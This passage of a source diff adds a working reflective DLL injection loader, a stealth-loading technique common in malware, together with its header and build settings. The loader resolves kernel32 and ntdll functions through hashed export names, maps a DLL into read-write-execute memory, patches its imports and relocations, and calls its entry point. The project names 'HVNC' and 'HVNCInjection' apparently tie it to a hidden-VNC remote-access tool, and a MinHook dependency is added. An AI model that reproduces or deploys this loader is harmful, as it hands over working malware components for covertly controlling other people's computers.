} while (--usCounter);
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == LOADLIBRARYA_HASH)
|
||||
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == GETPROCADDRESS_HASH)
|
||||
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == VIRTUALALLOC_HASH)
|
||||
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF(uiValueA);
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while (uiValueA--)
|
||||
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while (uiValueE--)
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while (uiValueD--)
|
||||
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof(IMAGE_SECTION_HEADER);
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// itterate through all imports
|
||||
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
|
||||
{
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while (DEREF(uiValueA))
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = (uiBaseAddress + DEREF(uiValueA));
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof(ULONG_PTR);
|
||||
if (uiValueD)
|
||||
uiValueD += sizeof(ULONG_PTR);
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
// check if their are any relocations present
|
||||
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// and we itterate through all entries...
|
||||
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while (uiValueB--)
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
|
||||
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
|
||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)(dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
|
||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
|
||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof(IMAGE_RELOC);
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
||||
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// Store the parameter globally so DllMain can access it
|
||||
g_lpReflectiveParameter = lpParameter;
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
*(HMODULE*)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,215 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#include <intrin.h>
|
||||
#else
|
||||
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
|
||||
#include <stdlib.h>
|
||||
#include <intrin.h>
|
||||
#endif
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
|
||||
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
|
||||
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#ifdef _MSC_VER
|
||||
#pragma intrinsic( _rotr )
|
||||
#define RDI_INLINE __forceinline
|
||||
#else
|
||||
#define RDI_INLINE static inline __attribute__((always_inline))
|
||||
#endif
|
||||
|
||||
RDI_INLINE DWORD ror(DWORD d)
|
||||
{
|
||||
return _rotr(d, HASH_KEY);
|
||||
}
|
||||
|
||||
RDI_INLINE DWORD hash(char* c)
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror(h);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, * PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK* pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
} IMAGE_RELOC, * PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,18 @@
|
||||
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
|
||||
#ifndef _HVNC_SEH_COMPAT_H
|
||||
#define _HVNC_SEH_COMPAT_H
|
||||
|
||||
#ifdef __MINGW32__
|
||||
// MinGW doesn't support MSVC structured exception handling.
|
||||
// Replace __try/__except with plain code execution (no SEH guard).
|
||||
#define __try
|
||||
#define __except(x) if (0)
|
||||
#define __finally
|
||||
|
||||
// MSVC uses GetExceptionCode() inside __except; provide a stub.
|
||||
#ifndef GetExceptionCode
|
||||
#define GetExceptionCode() 0
|
||||
#endif
|
||||
#endif // __MINGW32__
|
||||
|
||||
#endif // _HVNC_SEH_COMPAT_H
|
||||
@@ -168,6 +168,7 @@
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
@@ -182,7 +183,6 @@
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
